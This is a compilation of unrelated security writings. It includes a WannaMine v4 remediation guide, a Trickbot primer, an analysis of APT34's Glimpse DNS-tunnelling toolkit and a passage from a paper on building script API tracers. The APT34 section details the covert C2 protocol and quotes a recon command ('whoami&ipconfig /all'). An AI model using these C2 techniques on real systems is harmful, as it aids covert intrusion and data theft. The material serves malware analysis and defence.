- Customize the security features of cloud projects and workloads. Despite the offered feature of your CSP, avoid running applications under root privilege and using passwords for SSH. Use public key cryptography for access.
- Follow the principle of least privilege. Limit the number of users with the highest access privileges according to their respective levels of involvement in a project or an application.
|
# WannaMine v4: Analysis & Remediation
Collin Montenegro and Mark Robinson
November 12, 2019
Although the world of mineware is not new to the security industry, it continues to grow as adversaries develop new capabilities to compromise systems and turn them into bots used for mining cryptocurrency. In this blog, we hope to provide some deeper insight into the world of mineware. We will discuss in-depth one of the most notorious mineware malware variants out there, “WannaMine.”
Our deep dive will analyze the latest WannaMine variant currently being used in the wild, dubbed “WannaMine v4.0,” and outline how you can successfully identify and remediate a WannaMine v4.0 infected host.
## Cryptojacking and WannaMine
In essence, cryptojacking is the unauthorized use of a computing device to mine cryptocurrency. It occurs when adversaries compromise an organization’s systems and use their resources to mine cryptocurrency, freeing them from having to purchase hardware and electricity. Many times, this malicious mining occurs without the victim ever realizing it due to a lack of security monitoring.
As adversaries and cybercriminals searched for better ways to compromise hosts en masse, the creation of a malware dubbed “WannaMine” was born. WannaMine is a mineware malware variant created for the sole purpose of installing and running Monero software on a victim’s system and using its processing power to mine Monero for the adversary. WannaMine plays on the naming convention used for the notorious ransomware mentioned at the beginning of the article, WannaCry. This is likely because WannaMine leverages WannaCry’s exploitation code, “EternalBlue,” to compromise hosts and propagate the Monero mining software.
## WannaMine v4.0 Analysis and Remediation Overview
Like its predecessors, WannaMine v4.0 leverages the EternalBlue exploit to spread and compromise vulnerable hosts. Its design is similar to WannaMine v3.0 in that it stores the EternalBlue exploit binaries in a directory located in C:\Windows; however, the directory in version 4.0 has been renamed “NetworkDistribution.” Instead of leveraging a single hard-coded service name like WannaMine v3.0, version 4.0 will randomly generate a .dll and service name based on a list of hard-coded strings. It does this in order to maintain persistence on the host.
The remediation of WannaMine v4.0 can be broken into the following three steps:
1. Killing the malicious processes (newly spawned or injected)
2. Locating and removing the persistence mechanism (e.g., service)
3. Removing artifacts (e.g., NetworkDistribution).
### WannaMine v4.0 Step-by-Step Remediation
**Note:** There are 2 scenarios: Pre-infection (CrowdStrike Falcon® is already installed and preventions are on) and post-infection detections where Falcon has been installed on the client’s endpoints after infection, therefore blocking it. In some of the examples shown below we have turned on DETECTIONS ONLY and PREVENTIONS off for illustrative purposes.
#### STEP 1. Killing the Malicious svchost.exe and dllhostex.exe Processes
As you can see in the figures, Falcon will immediately block the launch of WannaMine’s main XMRig mining module (dllhostex.exe) and then quarantine the binary. Since the process has been killed and the binary removed, we must find the svchost.exe process that is being used to run the malicious service and kill it.
Using Falcon’s process explorer, you can see that the parent process of dllhostex.exe is svchost.exe. By looking over the process details within Falcon, we can quickly grab the process ID associated with the svchost.exe that is running the malicious WannaMine DLL.
From there, we can query that specific svchost.exe process, via the process ID obtained from the Falcon UI, in order to gather the service group name being used for the malicious service, in this case the netsvcs service group.
**Note:** Depending on whether the SVCHOST is grouped or if it is a single process, the removal process will vary. Windows 10, by default, will spawn an individual SVCHOST process per module but Windows 7 will group. Killing the grouped PID is not an option here as we want to minimize downtime for the clients we work with.
To be more specific, we can actually query the SVCHOST process using “tasklist” to output the service name associated with it, which happens to be the exact name of the malicious WannaMine DLL.
As an extra step, you can also query the registry key that SVCHOST based on the service group name of “netsvcs” found in the image above. Based on that information, we can pivot and check the registry key where Windows services are stored to see if we find an associated service named “MicrosoftNetBIOSManager.” As expected, we see that there is such an entry. Looking at the values stored within the Parameters key we find the exact path to the malicious .dll.
To confirm that this is the malicious DLL we are looking for, we can calculate the hash for the binary. Once we have the hash of the DLL, we notice that this has not been seen in VirusTotal, which is abnormal for a legitimate Windows dll stored in the System32 or SysWow64 directories.
In our lab environment, we infected a Windows 10 host at a specific date and time. Once infected, we inspected the creation timestamp of the malicious DLL. The timestamp provided was invalid, stating the DLL was created months prior to the initial infection. This indicated timestomping techniques had been used.
A clearer indication is seen on a Windows 7 host where the timestomping goes back to 2009. Reviewing the compiler timestamp for the binary, you can see that it was created recently — in 2019 and not 2009.
Another method to highlight the malicious dll being loaded by SVCHOST comes from outlier analysis. We see the hard-coded path for MicrosoftNetBIOSManager which is odd and adds context to the above indicating this isn’t native to the OS.
Now that we have confirmed the SVCHOST process is indeed the one associated with the malicious WannaMine service, let’s kill the process. Gracefully stopping the service will end the process.
#### STEP 2. Removing the Persistence
While discovering and killing the svchost.exe process being used to launch the WannaMine service, we found and confirmed the service name being used for persistence. Now we remove the service so WannaMine v4.0 no longer has persistence in place.
Just like that, we have removed the malicious service and relinquished WannaMine v4.0’s persistence!
#### STEP 3. Removing Remaining Artifacts
Now that we have killed the SVCHOST process and removed the persistence, it’s time to clean up and remove the remaining artifacts. Based on our research, WannaMine v4.0 has a few specific artifacts that it places on the host. The first one is the NetworkDistribution folder located in C:\Windows. This folder contains all of the Equation Group binaries (e.g., EternalBlue, Double Pulsar, etc.) and needs to be removed.
The next artifact to remove is the malicious DLL that we discovered in step one. This is located in C:\Windows\System32. Next, we have the dllhostex.exe that is the binary that WannaMine v4.0 uses to run the XMRig miner module. As seen, Falcon quarantines this binary; however, if it was not quarantined you can find it in C:\Windows\System32.
Lastly, a registry entry that contains the descriptive text for the service.
## Completion
Congratulations! If you followed the above steps, you have successfully discovered and remediated the pesky WannaMine v4.0 malware.
## PowerShell Enumeration Script
In an effort to automate the remediation processing, we can leverage the RTR RUNSCRIPT feature of the Falcon agent to easily create and save re-runnable scripts to help identify and triage systems ready for remediation. Using a “query first then kill” methodology, you can confirm a host is infected prior to running any remediation kill scripts. This helps our analysts quickly remediate systems at scale.
### Recommendations
- Gain advance visibility across your endpoints with an endpoint detection and response (EDR) solution such as the CrowdStrike® Falcon platform. Turn on next-gen antivirus (NGAV) preventative measures to stop malware.
- Keep systems up to date: Patch for MS17-010 to stop EternalBlue exploitation.
- Segregate the network where possible to limit lateral movement.
- Monitor / filter / block at the network level for known coinminer sites.
- Detect network scanning. Contain unapproved hosts as fast as you can.
|
# Trickbot: A Primer
**By Chris Neal**
## Executive Summary
Trickbot remains one of the most sophisticated banking trojans in the landscape while constantly evolving. Highly modular, Trickbot can adapt to different environments with the help of its various modules. The group behind Trickbot has expanded their activities beyond credential theft into leasing malware to APT groups.
## Overview
In recent years, the modular banking trojan known as Trickbot has evolved to become one of the most advanced trojans in the threat landscape. It has gone through a diverse set of changes since it was first discovered in 2016, including adding features that focus on Windows 10 and modules that target point of sale (POS) systems. Not only does it function as a standalone trojan, Trickbot is also commonly used as a dropper for other malware such as the Ryuk ransomware. The wide range of functionality allows this malware to adapt to different environments and maximize effectiveness in a compromised network.
Trickbot is typically delivered via a spam email containing a malicious document or malicious URL. In most cases, the subject of the emails will contain wording that is intended to alarm the person who received it, such as an issue with a credit or debit card, and in recent examples preying on fears of the COVID-19 virus. Once this document has been opened, a macro will execute and download the next stage of the infection process. In some cases, the second stage of this infection chain is a loader like Emotet which in turn drops Trickbot. In a reverse of roles, Trickbot has also been commonly observed to drop other malware families.
## Functionality
A successor to the Dyre trojan, Trickbot was originally designed to steal and exfiltrate sensitive information from a compromised host through stealing cookies from browsers or performing web injects on banking or cryptocurrency trading sites. Over the years, Trickbot has not only expanded that functionality, but also added new features such as the ability to be used as a dropper for other malware. Trickbot is highly modular and can be configured by the threat actor depending on the environment being targeted. Trickbot has a wide range of capabilities enabled by the different modules that can be installed remotely. Here's a rundown of a few of the modules:
A recent addition to the Trickbot arsenal of modules is "rdpScanDll" which allows the malware to brute-force Remote Desktop Protocol (RDP) credentials. The list of available modules for Trickbot is growing larger with time which shows that the authors are actively looking for new ways to use it for financial gain. The creators have shown repeatedly that they are persistent in regards to improving the functionality of Trickbot and its modules, and should be considered as a significant threat.
Trickbot employs several different techniques for obfuscation and evasion. TLS is used for command and control (C2) communications and while downloading the various modules for installation. C2 typically happens on the standard TLS port 443 but has also been observed to use port 449 on occasion. TLS is not the only form of encryption used by Trickbot. While exfiltrating sensitive information from a compromised host, the Microsoft CryptoAPI is used to encrypt the data as an extra layer of obfuscation.
There are several different obfuscation and evasion techniques that Trickbot has used throughout its lifetime including process hollowing, Heaven's Gate, custom base64 encoding and bypassing UAC. Trickbot has added functionality that is tailored specifically to Windows 10 after Microsoft dropped extended support for Windows 7 in early 2020. Earlier this year, a new feature was added which allowed fileless UAC bypass through the use of "WSReset.exe," a Microsoft signed binary used to reset Windows Store settings.
## Trickbot Gang
The actors behind Trickbot are commonly referred to as the "Trickbot Gang." Financial gain is the primary motive for this group's actions. The group's operations have grown along with the malware itself. At the time of this writing, the group has ventured into pushing a malicious Android application to victims whose Windows machines have been infected with Trickbot. The intent is to convince the user to install the application on their Android phone, which steals one-time codes that banks send as part of a 2FA sequence. Currently, this attack has only been observed in Germany, but it is likely the use of this technique will increase if it proves to be effective.
Trickbot Gang also rents a Trickbot variant to state-sponsored APT groups. Not only are they supplying the malware, but they are also selling the access they have gained to high profile networks across the globe. This cooperation reflects the trend in recent years of state-sponsored cyber espionage groups interacting with cyber criminal organizations.
One of the most devastating threats that Trickbot poses is the delivery of the Ryuk ransomware with the help of Emotet. This has proven to be a dangerously effective combination, generating millions of dollars of income in 2019 alone. The reason for this combination of malware is that the Trickbot modules for lateral movement are an efficient means to propagate across a network before deploying Ryuk.
## How to Defend Against Trickbot
To defend against Trickbot it is important to ensure a well organized, multi-layered cybersecurity program is in place within your organization.
1. Email and spam filters are critical in the case of Trickbot as this is the initial infection vector.
2. Perform regular updates and system hardening as Trickbot uses known Windows SMB exploits for propagation.
3. Give employees regular phishing training and conduct regular awareness programs.
4. Employ strong password policies and use multi-factor authentication, such as Duo.
5. Ensure updated endpoint security software, such as Cisco's AMP Endpoint, is deployed across your network.
Practical security hygiene is critical in any given scenario but in the case of defending against Trickbot — it is even more important to maintain a strong security posture. Due to the modular nature of Trickbot, it is impossible to predict how it will behave once it has an initial foothold, hence the importance of preventative security measures.
|
# APT34: Glimpse Project
The APT34 Glimpse project is maybe the most complete APT34 project known so far. Indeed, we might observe a file-based command and control (quite unusual solution) structure, a VBS launcher, a PowerShell payload, and a covert channel over DNS engine. This last feature is the most appreciated characteristic attributed to APT34.
## Context
Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications, and other industries. Repeated targeting of Middle Eastern financial, energy, and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing, and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government.
On April 19, 2019, researchers at Chronicle, a security company owned by Google’s parent company, Alphabet, examined the leaked tools, exfiltrated the past week on a Telegram channel, and confirmed that they are indeed the same ones used by the OilRig attackers. OilRig has been connected to a number of intrusions at companies and government agencies across the Middle East and Asia, including technology firms, telecom companies, and even gaming companies. Whoever is leaking the toolset also has been dumping information about the victims OilRig has targeted, as well as data identifying some of the servers the group uses in its attacks.
According to Duo, “OilRig delivered Trojans that use DNS tunneling for command and control in attacks since at least May 2016. Since May 2016, the threat group has introduced new tools using different tunneling protocols to their toolset,” Robert Falcone of Palo Alto Networks’ Unit 42 research team wrote in an analysis of the group’s activities.
Today I’d like to focus my attention on the Glimpse project since, in my personal opinion, it could be considered as the “stereotype” of APT34 (with the data we’ve got so far).
## The Glimpse Project
The package comes with a README file named “Read me.txt” (note the space). The name per se is quite unusual, and the content is a simple guide on how to set a Node.js server and a Windows server that would run the “standalone” .NET (>v4) application to control infected machines. The infection starts by propagating a .VBS script called “runner_.vbs,” which is a simple runner of a more sophisticated PowerShell payload. The PowerShell payload is a quite complex script acting several functions.
The payload loops waiting for instructions; once a command comes from C2, it starts to perform specific actions and answers back to C2 by requesting crafted subdomains based on variable `$aa_domain_bb`. One of the most important functions the payload has implemented is to drop and execute additional toolsets. Indeed, this payload is mainly a delivery module with some additional controls entirely based on DNS covert channel.
The `$aa_domain_bb` variable contains the main domain name for which the C2 acts as authoritative Domain Name Server. While no actions are coming from C2, the infected agent would just periodically “ping” C2 by giving basic information regarding the victim machines. For example, the function `aa_ping_response_bb` would compose an encoded DNS message (`aa_text_response_bb`) which sends its own last IP address.
At this stage, we might appreciate two communication ways. The first communication channel comes from the subdomain generation, for example: `59071Md8200089EC36AC95T.www.example.com`, while a second communication channel comes from TXT DNS record such as: `control: 95 - ackNo: 0 - aid: 59071d8289 - action: M >>> 59071Md8200089EC36AC95T`. Both of them are implemented to carry different information. One of the most important functions is the `aa_AdrGen_bb`, which is the communication manager. It implements the control layer in order to send and receive control information such as commands, bytes received, if the file transfer has been closed, and so on.
The decoded actions are stored into the variable `aa_act_bb` and are the following ones:
- **M**: If the agent is already registered to C2, this command acts like a ping, updating basic information to the corresponding “agent” folder. If it’s the first time the agent connects back to C2, it starts a registration section which enables server-side (command and control side) the building up of dedicated folders and file environment.
- **W**: This is a TXT request to list the waiting commands (or, if you wish, “kind of jobs”). The first command that is executed after the registration phase is the command tagged as 10100 having as content: `"whoami&ipconfig /all"`.
- **D**: This is actually what should be executed. It takes as input the tagged task and forwards to the requesting Agent the Base64 encoded content of the file.
- **0**: It is not a TXT request. This request makes the authoritative DNS (the command and control) answer to the agent the requested file in the waiting folder. Answering back an A record having as data field a crafted IP (11.24.237.110) if no “actions” (files) are in the waiting folder, the C2 answers back an A record value having as data field "24.125." + `fileNameTmp.substring(0, 2)` + "." + `fileNameTmp.substring(2, 5)`; and time to live a random number between 0 to 360.
- **1**: It is not a TXT request. This request makes the authoritative DNS (the command and control) answer back with the file content. It implements a multiple answering chain, according to RFC4408, to send files greater than 255 characters.
- **2**: It is not a TXT request. This request makes the authoritative DNS (the command and control) receive a file from the Agent. It implements a complex multi-part chain for reconstructing partials coming from domain name requests. After sending all of the data, the Agent will issue a final DNS query with “COCTabCOCT” in the data segment. This query notifies the C2 server that the Trojan has finished sending the contents of the file.
## Command and Control: COCTabCOCT End of Communication
The command and control is implemented by a standalone .NET application working through files. The backend, a Node.js server, runs and offers Public API and saves requests to agents and results from agents directly into files named with “UID-IP” convention acting as agent ID. The panel reads those files and implements stats and actions.
The Control Panel is mainly composed of two .NET Window components: Main Windows, where the list of connected Agents is shown within additional information such as Agent ID, Agent IP, Agent Last Online Time, and Attacker Comments; and Control Window, which is called once the attacker clicks on a selected Agent. The event `onClick` spawns the following code:
```javascript
controlPanel = new controlPanel(agent.id, agent.ip, agent.lastActivity);
controlPanel.Show();
```
After its initialization phase, the control panel enables the attacker to write or upload a list of commands or a file within commands to agents. The controlPanel function takes commands from inputs “TextFields,” creates a new file into the waiting folder within commands. The contents of such a folder will be dropped on the selected Agent and executed.
The controlPanel offers many additional functionalities to better control single or group of Agents. By focusing on trying to give a project date, we might observe the compiled time which happens to be 9/1/2018 at 5:13:02 AM for `newPanel-dbg.exe`, while it happens to be 9/8/2018 at 8:01:54 PM for the imported library called `ToggleSwitch.dll`.
With high probability, we are facing a multi-modular attacking framework where on one side the DNS communication channel delivers commands to the target Agents and on the other side many control panels could be developed and attached to the DNS communication system. It would be quite obvious if you look at that framework as a developer, thus the DNS communication channel uses files to store information and to synchronize actions and agents, so that many C2 could be adapted to use it as a communication channel. We might think that many APT34 units would be able to reuse such a communication channel.
Another interesting observation might come from trying to date that framework. A PowerShell Agent has been leaked on PasteBin in August 2018 by an anonymous user and seen, since today, from very few people (197 so far). The used command and control has been compiled the month before (July 2018). The developing technologies (.NET, Node.js) are very different, and the implementation styles differ as well. The DNS communication channel is developed in a linear and more functional-driven programming style, while the standalone command and control is developed using a little bit more sophisticated object-oriented programming with a flavor of agent-oriented programming: the attacker considers the object agent as an independent agent working without direct control. The attacker writes files as the medium to address the Agent behavior.
|
# Automatic Reverse Engineering of Script Engine Binaries for Building Script API Tracers
**Toshinori Usui**, NT T Secure Platform Laboratories/Institute of Industrial Science, The University of Tokyo, Japan
**Yuto Otsuki**, **Tomonori Ikuse**, **Yuhei Kawakoya**, **Makoto Iwamura**, **Jun Miyoshi**, NT T Secure Platform Laboratories, Japan
**Kanta Matsuura**, Institute of Industrial Science, The University of Tokyo, Japan
Script languages are designed to be easy-to-use and require low learning costs. These features provide attackers options to choose a script language for developing their malicious scripts. This diversity of choice on the attacker side unexpectedly imposes a significant cost on the preparation for analysis tools on the defense side. We have to prepare for multiple script languages to analyze malicious scripts written in them. We call this unbalanced cost for script languages the asymmetry problem.
To solve this problem, we propose a method for automatically detecting the hook and tap points in a script engine binary that is essential for building a script Application Programming Interface (API) tracer. Our method allows us to reduce the cost of reverse engineering a script engine binary, which is the largest portion of the development of a script API tracer, and build a script API tracer for a script language with minimum manual intervention. This advantage results in solving the asymmetry problem. The experimental results showed that our method generated the script API tracers for three script languages popular among attackers (Visual Basic for Applications (VBA), Microsoft Visual Basic Scripting Edition (VBScript), and PowerShell). The results also demonstrated that these script API tracers successfully analyzed real-world malicious scripts.
**CCS Concepts:**
- Security and privacy → Malware and its mitigation; Software reverse engineering
- Software and its engineering → Simulator/interpreter
- Computing methodologies → Optimization algorithms
**Additional Key Words and Phrases:** Malicious script, dynamic analysis, reverse engineering, function enhancement
## 1 INTRODUCTION
The diversity of script languages creates a blind spot for malicious scripts to hide from analysis and detection. Attackers can flexibly choose a script language to develop a module of their malicious scripts and change scripts for developing another module. However, we (the security side) are not always well-prepared for any script languages since the development of analysis tools for even a single script language incurs a certain cost. We call this gap of costs between attackers and defenders the asymmetry problem. This asymmetry problem provides attackers an advantage in evading the security of their target systems. An attacker can choose one script language for which a target organization may not be well-prepared to develop malicious scripts for attacking the system without detection.
One approach for solving this asymmetry problem is focusing on system-level monitoring such as Windows Application Programming Interfaces (APIs) or system calls. We can universally monitor the behavior of malicious scripts no matter what script languages the malicious scripts are written in if we set hooks for monitoring at the system level. As long as malicious scripts run on a Windows platform, they have to depend on Windows APIs or system calls to perform certain actions. If we set hooks on each API and monitor the invocations of those APIs from malicious scripts, we can probably comprehend the behavior of these scripts. However, this system-level monitoring approach is not sufficient from the viewpoint of analysis efficiency because some script API calls do not reach any system APIs, such as string or object operations. This lack of captures results in partial understanding of malicious scripts and leads to underestimating the threat of such scripts.
Another approach for malicious script analysis is focusing on a specific language and embedding monitoring mechanisms into a runtime environment of the script. This approach resolves the semantic gap problem mentioned above but requires deep domain knowledge to develop a monitoring tool. For example, we have to know both the specifications of a script language and the internal architecture of the script engine to develop a dynamic analysis tool for the script. In addition, this approach supports only a target script language. We need to develop an analysis tool for each script language separately.
In summary, we (the security side) need an approach universally applicable for any script languages and fine-grained enough for analyzing the detailed behavior of a malicious script. However, previous studies satisfied only either of these requirements at the same time.
To mitigate the gap between attackers and defenders, we propose a method of generating script API tracers with a small amount of human intervention. The basic idea of our method is to eliminate the knowledge of script engine internals from the requirements for developing analysis tools for a script language. Instead, we complement this knowledge with several test programs written in the script language (test scripts) and run them on the script engine for differential execution analysis to clarify the local functions corresponding to the script APIs, which are usually acquired with the manual analysis of the script engine. Our method allows us to replace the knowledge of script engine internals with one of the specifications of the script for writing test scripts.
Our method is composed of five steps: execution trace logging, hook point detection, tap point detection, hook and tap point verification, and script API tracer generation. The most important function of our method is detecting points called hook points in which the method inserts hooks to append code to script engines for script analysis as well as points called tap points, which are memory regions logged by the code for analysis. Our method first acquires branch traces by executing manually crafted scripts called test scripts, each of which only calls a specific script API of the analysis target. Our method then obtains hook and tap points that correspond to the target script API by analyzing the obtained branch trace with the differential execution analysis-based hook point detection method. By inserting hooks into the hook points that dump the memory of the tap points to logs, our method generates a script API tracer.
We define a script API as a callable functionality provided by a script engine. For example, each built-in function and statement of Visual Basic for Applications (VBA) and Microsoft Visual Basic Scripting Edition (VBScript), such as CreateObject and Eval, and commandlets (Cmdlets) of PowerShell, such as Invoke-Expression, are script APIs.
A challenge in this research was efficiently finding the local function that corresponds to the target script API from the large number of local functions of a script engine binary. We addressed this challenge by emphasizing the local function corresponding to the target script API as the difference in branch traces of two scripts that call the target script API different times. To achieve this differentiation, we modified the Smith-Waterman algorithm borrowed from bioinformatics, which finds a similar common subsequence from two or more sequences, to fit it to this problem.
Our method does not allow us to directly fulfill the second requirement, i.e., universal applicability. However, we believe that our method allows us to reduce the cost of developing an analysis tool for each script language. Therefore, we can lower the bar for preparing analysis tools for any script languages.
We implemented a prototype system that uses our method called STAGER, a script analyzer generator based on engine reversing, for evaluating the method. We conducted experiments on STAGER with VBA, VBScript, and PowerShell. The experimental results indicate that our method can precisely detect hook and tap points and generate script API tracers that can output analysis logs containing script semantics. The hook and tap points are detected within a few tens of seconds. Using the STAGER-generated script API tracers, we analyzed real-world malicious scripts obtained from VirusTotal, a malware sharing service for research. The output logs showed that the script API tracers could effectively analyze malicious scripts in a short time. Our method enables the generation of a script API tracer for proprietary script languages for which existing methods cannot construct analysis tools. It can therefore contribute to providing better protection against malicious scripts.
Our contributions are as follows:
- We first propose a method that generates a script API tracer by analyzing the script engine binaries.
- We confirmed that our method can accurately detect hook and tap points within realistic time through experiments. In addition, our method only requires tens of seconds of human intervention for analyzing a script API.
- We showed that the script API tracers generated with our method can provide information useful for analysts by analyzing malicious scripts in the wild.
This article is an extended version of our previous work.
## 2 BACKGROUND AND MOTIVATION
### 2.1 Motivating Example
Our running example is a malicious script collected from VirusTotal, and its analysis logs acquired using several different script analysis tools. Note that the script analysis tools in this section include all tools that can extract the behavior of scripts regardless of whether they were explicitly designed to analyze scripts. Therefore, system API tracers are included in the script analysis tools in the subsequent sections.
Figure 1 shows a malicious script and acquired analysis logs corresponding to it. The upper left, Figure 1(a) shows an excerpt of this malicious script that has more than 1,000 lines of code. As shown in the figure, the malicious script is heavily obfuscated; thus, static analysis is difficult. The upper right, Figure 1(b) shows the deobfuscated script obtained from manual analysis. Since analysts can easily comprehend the behavior of the malicious script, it would be ideal as the analysis log. However, manually analyzing such a malicious script is tedious and time-consuming and is sometimes nearly impossible depending on the heaviness of the obfuscation.
The lower left, Figure 1(c) shows an excerpt of the system API trace log obtained by attaching a system API tracer called API Monitor to the script engine process. This log contains a large number of system API calls that are both relevant and irrelevant to the malicious script. The irrelevant calls are involved in the script engine. Some system API calls that are relevant to remote procedure calls (e.g., component object model (COM) and Windows Management Instrumentation (WMI)) by the malicious script and the ones that are only handled in the script engine (e.g., eval) do not appear in the log. These prevent analysts from comprehending the behavior of the malicious script; therefore, the system API tracer is not appropriate for analyzing malicious scripts. The lower right, Figure 1(d) shows the script API trace log that we aim to create with our method. This log has similar semantics to the one from manual analysis in which analysts can comprehend its behavior through it. Therefore, script API tracers are essential for malicious script analysis. However, building such a script API tracer is difficult as discussed in detail in Section 2.3.3. Thus, our goal is to propose a method for easily and systematically building script API tracers that can acquire such logs.
### 2.2 Requirements of Script Analysis Tool
We clarify the three requirements that script analysis tools should fulfill from the perspective of malicious script analysis.
1. **Universal applicability.** Attackers use various script languages to create their malicious scripts. Hence, methods for constructing script analysis tools (hereafter, construction methods) should be applicable to various languages with diverse language specifications.
2. **Preservability of script semantics.** When analyzing scripts, the more output logs lose script semantics, the less information analysts can obtain from the logs. Therefore, construction methods should preserve script semantics to provide better information for analysis.
3. **Binary applicability.** When constructing script analysis tools of script engines, which are proprietary software (we call them proprietary script engines), their source code is not available. Because attackers often use such proprietary script languages, it is necessary for construction methods to be applicable to binaries.
We also discuss what form of logs should be output with script analysis tools. As mentioned in requirement (2), the logs should preserve script semantics. That is, logs that can reconstruct the script APIs, and their arguments that the target script used are desirable. For example, when a script executes CreateObject(WScript.Shell), the corresponding analysis log should contain the script API CreateObject and its argument WScript.Shell. A script API tracer generated with our method outputs such logs.
### 2.3 Design and Problem of Script Analysis Tool
#### 2.3.1 Script-level Monitoring
**Design.** Script-level monitoring inserts hooks directly into the target script. Since malicious scripts are generally obfuscated, it is difficult to find appropriate hook points inside scripts that can output insightful information for analysts. Therefore, hooks are inserted using a hook point-free method, i.e., by overriding specific script APIs.
**Problem.** There are two problems with script-level monitoring: applicability and stealthiness. Since this design requires overriding script APIs, it is only applicable to the script languages that allow overriding of the built-in functions. Therefore, it does not fulfill the requirement of language independence mentioned in Section 2.2. This design is not sufficiently practical for malicious script analysis because few script languages support such a language feature.
#### 2.3.2 System-level Monitoring
**Design.** System-level monitoring inserts hooks into system APIs and/or system calls for monitoring their invocation. It then analyzes scripts by executing the target script while observing the script engine process.
**Problem.** System-level monitoring causes a problem of a semantic gap due to the distance between the hook points in a system and the target scripts. There are two specific problems caused by a semantic gap: avalanche effect and semantic loss. The avalanche effect is a problem that makes an observation capture a large amount of noise, which occurs when one or more layers exist between an observation target and an observation point. Ralf et al. referred to the avalanche effect caused by the existence of the COM layer, and we found that that of the script engine layer also causes the avalanche effect.
The main concern with semantic loss is that it decreases information useful for analysts. For example, a script API Document.Cookie.Set, which has the semantics of setting cookies in the script layer, loses some semantics in the system API layer because it is just observed as WriteFile. For these reasons, system-level monitoring does not fulfill the requirement of the preservability of script semantics mentioned in Section 2.2.
#### 2.3.3 Script Engine-level Monitoring
**Design.** Script engine-level monitoring inserts hooks into specific functionalities in script engines. Because inserting hooks into script engines requires deep understanding of its implementation, there are few methods that can obtain such knowledge. One is analyzing script engines by reading source code or reverse-engineering binaries. Another is building an emulator to obtain a fully understood implementation of the target script engine. Unlike script-level monitoring, script engine-level monitoring is independent of language specifications. It also does not cause a semantic gap, unlike system-level monitoring.
**Problem.** The problem with this design is its implementation difficulty. Although this design may be easily achieved if a script engine provides interfaces for analysis such as Antimalware Scan Interface (AMSI), this is just a limited example. In general, a developer of analysis tools with this design has to discover appropriate hook and tap points for inserting hooks into the target script engine binary.
For open source script engines, we can find hook and tap points by analyzing the source code. However, only a limited number of script languages have their corresponding script engines whose source code is available. In addition, even source code analysis requires certain workloads.
Moreover, obtaining the hook and tap points for proprietary script engines requires reverse-engineering, and there is no automatic method for this. In addition, manual analysis requires skilled reverse-engineers and unrealistic human effort. Therefore, this design does not fulfill the requirement of binary applicability mentioned in Section 2.2.
### 2.4 Approach and Assumption
Table 1 summarizes how each design fulfills the requirements mentioned in Section 2.2. As mentioned in the previous section, neither script-level nor system-level monitoring can fulfill all the requirements. It is also, in principle, difficult for them to fulfill the requirements through their improvement. The problem with the binary applicability of script engine-level monitoring will be solved if automatic reverse-engineering of script engines is enabled. Therefore, our approach is to automatically obtain information required for hooking by analyzing script engine binaries, which makes it applicable to binaries.
When analyzing script engine binaries, we assume knowledge of the language specifications of the target script. This knowledge is used for writing test scripts that are input to script engines during analysis. We do not assume knowledge of internal implementation of the target script engines. Therefore, no previous reverse-engineering of the target script engines is required.
### 2.5 Formal Problem Definition
A script engine binary B is modeled as a tuple (M,C) where M is a set of memory blocks associated with E, and C is a set of code blocks that implements B. Here, let a, ... ∈ A be a set of the script APIs of the observing targets, ia, ... ∈ IA ⊂ C be their corresponding implementation, and ra, ... ∈ RA ⊂ M be arguments of the script APIs, the problem is finding IA and RA from C, M, and A, which is, in general, difficult. Therefore, our goal is to provide a map f: M × C × A → IA × RA.
## 3 METHOD
### 3.1 Overview
The main purpose of our method is automatically detecting hook and tap points by analyzing script engine binaries. The method uses test scripts that are input to the target script engine and executed during dynamic analysis of the engine. These test scripts are manually written before using our method.
As mentioned above, our method is composed of five steps: execution trace logging, hook point detection, tap point detection, hook and tap point verification, and script API tracer generation. The execution trace logging step first acquires execution traces by monitoring the script engine executing the test scripts. The hook point detection step extracts hook point candidates by applying our modified Smith-Waterman algorithm to the execution trace obtained in the previous step. After the hook point candidates are obtained, the tap point detection step extracts tap points and confirms the hook point. The verification step tests the detected hook and tap points to avoid false positives of script API trace logs. Using the obtained hook and tap points, the final step inserts hooks into the target script engine and outputs it as a script API tracer.
We define hook and tap points as follows:
- A hook point is the entry of any local function that corresponds to the target script API in a script engine.
- A tap point is defined as any argument of the local function at which the hook point is set.
These definitions are reasonable for well-designed script engines. It is normal for such engines to implement each script API in the corresponding local functions for better cohesion and coupling. In the implementation, the arguments of a script API call would ordinarily be passed via the arguments of the local functions. Note that obfuscations, such as control-flow flattening and unreasonable function inlining, are unusual among our analysis targets since they are not malicious binaries.
In our method, we let hook points that correspond to target script APIs A be ha0, ha1, ... ∈ HA and tap points be ta0,0, ta0,1, ... ∈ TA whose index of each element indicates the script API and the index of its arguments. Therefore, f: M × C × A → IA × RA ⇒ f: M × C × A → HA × TA. Also, we let a set of test scripts be s0, ... ∈ S and the execution traces corresponding to it be es0, ... ∈ ES.
We locate hook and tap points in a generic script engine for better understanding of what our method is analyzing. Recent script engines generally use a VM that executes bytecode for script interpretation. The input script is translated into the bytecode through the analysis phase, which is responsible for lexical, syntactic, and semantic analysis, and the code generation phase, which is responsible for code optimization and generation. The VM executes VM instructions in the bytecode that are implemented as VM instruction handlers by using a decoder and dispatcher. The script APIs, which are generally implemented as functions, are called by the instructions. The hook points are placed at the entry of the functions and the tap points at the memory corresponding to the arguments of the hooked functions. Some studies identified VM instruction handlers; however, to the best of our knowledge, no studies have been conducted regarding identification of script APIs and their arguments.
### 3.2 Preliminary: Test Script Preparation
Test scripts used with our method have to fulfill the following four requirements:
1. A test script executes the target script API with no error.
2. A test script only has the behavior relating to the target script API. It is also allowed to execute script APIs essential for executing the target script API. For example, if the target script API is Invoke (i.e., COM method invocation), CreateObject is essentially required.
3. Two test scripts are required to analyze one target script API. One calls the target script API only once and the other calls it N times. Note that N is a predefined parameter.
4. The arguments of the target script API are arbitrarily defined as long as the script API is not skipped when it is executed multiple times. For example, executing CreateObject multiple times with the same argument may be skipped because copying the existing object instead of creating a new object is a better approach.
A test script works as a specifier of the target script API, which our method analyzes. Therefore, it contains only the target script API. For example, when one wants to analyze the local functions regarding the script API CreateObject and obtain the corresponding hook point, the test script only contains a call of CreateObject.
### 3.3 Execution Trace Logging
